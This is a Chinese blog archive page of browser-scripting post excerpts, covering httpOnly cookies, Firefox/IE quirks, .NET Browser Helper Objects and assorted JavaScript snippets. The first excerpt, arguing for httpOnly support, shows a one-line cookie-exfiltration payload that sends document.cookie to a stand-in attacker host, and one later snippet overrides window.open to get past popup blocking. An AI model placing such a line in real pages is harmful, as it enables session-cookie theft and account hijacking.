RSS 2.0 Feed
Browser
摘要: 自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性. 这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie . 而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性. 但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果? 例如 , 假如你用FireFox登录博客园(www.cnblogs.com), 然后到一个恶意的用户的文章去. 你知道cnblogs.com允许用户随意增加javascript的. 那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去: hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie) 当然,ASP.NET发送给客户端的信息是加密过的. 但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.   所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗. 但是如果使用IE6SP1,IE7,就不会存在该问题. 因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息....[阅读全文]

posted @ | Feedback (7) | Filed Under [ Browser AspNet ]

摘要:Firefox XMLHttpRequest 的 BUG Firefox中,当一个脚本的执行是由另外一个Frame的事件引起的, 则当前window的脚本使用XMLHttpRequest进行异步调用后, 结果将不能取得. 错误为0x80040111 NS_ERROR_NOT_AVAILABLE. IE 真的很慢 同样的DHTML操作,当规模达到一定程度时,IE的DOM的速度就变得非常慢了. 这个比起FIREFOX,OPERA,真的慢很多. 例如FIREFOX需要1秒做完的事情,IE需要6秒..~ IE天生很容易有MEMORY LEAK. 做客户端开发挺麻烦. 我曾经是IE的Fans, 但是经过最近的开发, 并且下载了FireFox的Skin 我发现FireFox也是很好的! 不过说起Bug,兼容性等事情, IE始终比FIREFOX好很多. 直接用XMLHttpRequest吗? 我一直都用Rane. 以前是,现在还是. 有时我曾经想, 做AJAX应用, 来来回回同步数据的操作就那么几个, 是不是为了性能,可以考虑手工做XMLHttpRequest的调用呢? 我想我不会手工去做了. 手工写重复无聊的代码, 调试起来都觉得麻烦~ 不是吗? 客户端用什么模式来写? 之前一段时间喜欢打WOW,而且还顺便学了LUA. 从中学到了一种基于事件的编程方式. 还有那简单的,少参数的全局函数的调用真的很爽. 我开始认为, 客户端所保留的数据,不用面向对象会直观很多! 使用全局函数的方式代理与服务器的通信,采用事件的方式更新UI. 这些操作不需要面向对象,不需要XXContext了. 很方便. 所以我现在用的结构大概是: 数据库 - 数据库访问层 - 业务层 - INTERNET - 客户端数据事件模型 - 客户端界面. 其中, 服务器一如既往 . 而客户端界面则用面向对象. (像Bindows那样) 至于 客户端数据事件模型 , 它完全不认识界面. 一切调用通过事件完成 , 更多的, 请参考 WOW 的界面开发..呵呵..  ...[阅读全文]

posted @ | Feedback (26) | Filed Under [ Browser ]

摘要:当使用 window.onunload=function(){...} 时, 如果窗口刷新或浏览其他页面,则该函数会被调用. 而如果窗口是被关闭时,则该函数不会被调用. 目前不清楚为什么会这样. 使用 window.attachEvent('onunload',function(){...});则可以解决问题. Regards ....[阅读全文]

posted @ | Feedback (20) | Filed Under [ Browser ]

摘要:BHO简介:     BHO就是Browser Helper Object. 意思就是IE的插件..     这里有一篇介绍. http://www.microsoft.com/mind/0598/browhelp.asp     更多的控制可以参考: http://msdn.microsoft.com/workshop/browser/ext/extensions.asp     BHO关联原理 (BHO关联的是SHDOCVW,也就是说不只关联IE,下面全部用IE来说明)     1.IE的窗口打开时,先寻找SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\ 这里的对应的是CLSID     2.IE根据CLSID创建 BHO 对象,并且查找 IOleObjectWithSite 接口. (这个接口非常简单,只有SetSite和GetSite两个方法)     3.IE把IWebBrowser2传到 BHO 的 SetSite 方法     4.窗口关闭时,IE把 null 传到 BHO 的 SetSite 方法.       也就是说,如果你要做一个BHO,那么要做以下几个步骤     1.创建 COM 类型, 实现 IOleObjectWithSite     2.在 SetSite 的时候, 得到IWebBrowser2 , 并且进行自定义的初始化 . (一般是关联IWebBrowser2的事件)     3.注册COM类型,并且关联到SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\   OK , 下面来说说如何用 DotNet 做到这点 . 我这里有一个例子程序,是用 VS.NET2003 写的. 里面有一个 _steps.txt 解析了具体的过程.   [ 下载地址http://www.lostinet.com/files/netbho.rar ]   要测试这个例子,你只需要编译这个工程,然后执行NetBHO.reg . 再重新打开IE就OK了.   _steps.txt 的内容为 新建 NetBHO 解决方案和工程 添加对 COM - Microsoft Internet Controls 的引用 (SHDocVw) 添加对 GAC - Microsoft.mshtml 的引用 (Microsoft.mshtml) 添加对 GAC - System.Windows.Forms 的引用 (用于调试) 关闭 vs.net 运行cmd,cd到项目文件夹下 执行 sn -k netbho.snk ildasm obj/Interop.SHDocVw.dll /output:obj/shdocvw.il ilasm obj/shdocvw.il /dll /key=netbho.snk /resource=obj/shdocvw.res /output=obj/Interop.SHDocVw.dll /quiet copy......[阅读全文]

posted @ | Feedback (90) | Filed Under [ DotNet Browser ]

摘要:在FireFox下编写事件处理函数是很麻烦的事.因为FireFox并没有 window.event . 如果要得到 event 对象,就必须要声明时间处理函数的第一个参数为event.所以为了兼容IE与FireFox,一般的事件处理方法为:btn.onclick=handle_btn_click;function handle_btn_click(evt){    if(evt==null)evt=window.event;//IE    //处理事件.}对于简单的程序,这不算麻烦.但对于一些复杂的程序,某写函数根本就不是直接与事件挂钩的.如果要把event传进该参数,那么所有的方法都要把event传来传去..这简直就是噩梦.下面介绍一个解决这个麻烦事的方法,与原理.JScript中,函数的调用是有一个 func.caller 这个属性的.例如 function A(){    B();}function B(){    alert(B.caller);}如果B被A调用,那么B.caller就是A另外,函数有一个arguments属性. 这个属性可以遍历函数当前执行的参数:function myalert(){    var arr=[];    for(var i=0;i阅读全文]

posted @ | Feedback (25) | Filed Under [ Browser AspNet ]

摘要:JScriptProtector 是一个用来保护JScript代码的组件。因为版权不属于我,所以无法公开代码。 现在我在我的服务器上放了一个简单的服务,写惯JS的可以上去帮你的脚本加加密哦。 http://www.lostinet.com/jsps/ (举贤不避亲嘛。:-)...[阅读全文]

posted @ | Feedback (15) | Filed Under [ DotNet Browser AspNet ]

摘要:内容是: function _doPostBack(){}; if(typeof("__doPostBack")=="function") { _doPostBack=__doPostBack; __doPostBack=_doPostBackNew; } document.attachEvent("onmousemove",_onmousemove); var _isPosting=false; var _divMask=null; function _onmousemove() { if(_divMask) with(_divMask.runtimeStyle) { left=event.clientX+document.body.scrollLeft-4; top=event.clientY+document.body.scrollTop-4; } } function _makeMask() { var div=document.createElement("DIV"); with(div.runtimeStyle) { position="absolute"; zIndex=999999; fontSize="1px"; left=event.clientX+document.body.scrollLeft-4; top=event.clientY+document.body.scrollTop-4; width="8px"; height="8px"; cursor="wait"; backgroundColor="gray"; filter="alpha(opacity=10)"; } try { document.body.insertAdjacentElement("BeforeEnd",div); div.onblur=new Function("this.focus()"); div.focus(); } catch(x){} if(_divMask)_divMask.removeNode(true); _divMask=div; } function _doPostBackNew(sender,args) { if(_isPosting) return event.returnValue=!(event.cancelBubble=true); status="正在更新页面..."; _doPostBack(sender,args); _isPosting=true; _makeMask(); } function _onformsubmit() { if(_isPosting) return event.returnValue=!(event.cancelBubble=true); _isPosting=true; _makeMask(); } new function _attachForms() { with(new Enumerator(document.forms)) for(;!atEnd();moveNext()) { item().attachEvent("onsubmit",_onformsubmit); var div=document.createElement("div"); div.runtimeStyle.width="0px"; div.runtimeStyle.hight="0px"; div.runtimeStyle.overflow="hidden"; div.runtimeStyle.position="absolute"; item(0).insertAdjacentElement("afterbegin",div); div.innerHTML="<INPUT TYPE=Submit name='webformpatchsubmitelement' onclick='return event.returnValue=false' id='webformpatchsubmitelement' value='webformpatchsubmitelement'/>"; } } 把这个作为 <-script src=.....js-><-/script-> 的形式Render到每个页面中就可以了。|如果有PageBase,则在Init的时候用RegisterClientScriptBlock放上去更好。因为客户没有抱怨过,所以也没有改进过。...[阅读全文]

posted @ | Feedback (366) | Filed Under [ DotNet Browser AspNet ]

摘要:http://www.cnblogs.com/huobazi/archive/2004/07/10/22926.aspx 我这里也有一个类似的解决方案: <script> window._open=window.open; window.open=window_new_open; function window_new_open( a,b,c ) { var win; if( c ) win=window._open( a,b,c ); else if( b ) win=window._open( a,b ); else win=window._open( a ); if( win!=null&&!win.closed ) return win; var option='status:0;help:0;dialogleft:10000px;dialogtop:10000px;dialogheight:0px;dialogwidth:0px'; win=showModalDialog( 'open.htm',[a,b,c],option ); return win; } </script> <script> var win=window.open( 'http://www.lostinet.com/' ); win.close( ); </script> 其中 open.htm 为:<title>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</title> <script> function window.onload( ) { var args=window.dialogArguments; var a=args[0]; var b=args[1]; var c=args[2] var win; if( c ) win=window.open( a,b,c ); else if( b ) win=window.open( a,b ); else win=window.open( a ); window.returnValue=win; window.close( ); } </script> 这个的好处就是不用改变已有的代码。只要想办法把这个代码放进原来的网页的前面把window.open替换掉就可以了。...[阅读全文]

posted @ | Feedback (73) | Filed Under [ Browser ]

摘要:要定义,一个Generic的类,应该要定义一个相关的接口,就像 Nullable 一样。 public class Nullable : ...., INullableValue 今天做了一个类,突然想这样 if( obj is Nullable< ? > ) ,其实我就是想知道这个对象是否为某种Nullable < T >,而不必要具体到某个具体的类中。我不想用反射,而if(obj is Nullable< object >) 是错的。 到了这个时候,我才发现INullableValue的作用。因为我也没有限定一定要是Nullalbe。 最后 if(obj is INullableValue) 就OK了。。 不过希望DotNet能提供这个if( obj is GenericType<?> )的功能。。 ...[阅读全文]

posted @ | Feedback (1) | Filed Under [ DotNet Browser DotNet2学习 ]

摘要: 下面的东西显示了在复杂的情况下, 怎样最好地在一个Element的旁边显示某个DIV。 要测试它,请点 ClickMe 当然,你可以滚动窗口,使这个按纽靠窗口的 左/上/右/下 的情况,观察菜单的弹出方位。 全部代码: <table border=1 cellpadding=8 cellspacing=0> <tr><td>table1</td><td>table1</td></tr> <tr><td>table1</td><td> <div id=div1 style='position:absolute;background-color:wheat;padding:4px;'> div1 start <div id=div1button style='border:outset 2px;background-color:threedface;color:red;font-weight:bold;cursor:hand;padding:4px;'> ClickMe </div> div1 end </div> &nbsp;</td></tr> </table> <div style='height:100px'>-</div> <table border=1 cellpadding=8 cellspacing=0> <tr><td>table2</td><td>table2</td></tr> <tr><td>table2</td><td> <div id=div2 style='position:relative;left:24px;background-color:wheat;'> div2 start <div id=div2menu style='display:none;position:absolute;background-color:lightgrey;height:200px;width:120px;border:outset 1px;padding:4px'> div2menu<br> div2menu<br> div2menu<br> div2menu<br> div2menu<br> </div> div2 end </div> &nbsp;</td></tr> </table> <script language='jscript'> //get the position of a element ( by the scroll offset ) function LostinetWebGetScrollPostion(e) { var b=e.document.body; if(e==b)return {left:0,top:0}; with(e.getBoundingClientRect()) { return {left:b.scrollLeft+left,top:b.scrollTop+top}; } } //get the position of a element ( by the client offset ) function LostinetWebGetClientPosition(e) { var b=e.document.body; if(e==b)return {left:-b.scrollLeft,top:-b.scrollTop}; with(e.getBoundingClientRect()) { return {left:left-b.clientLeft,top:top-b.clientTop}; } } //get absolute or relative parent function LostinetWebGetStandParent(e) { for(var......[阅读全文]

posted @ | Feedback (13) | Filed Under [ Browser ]

Full Browser Archive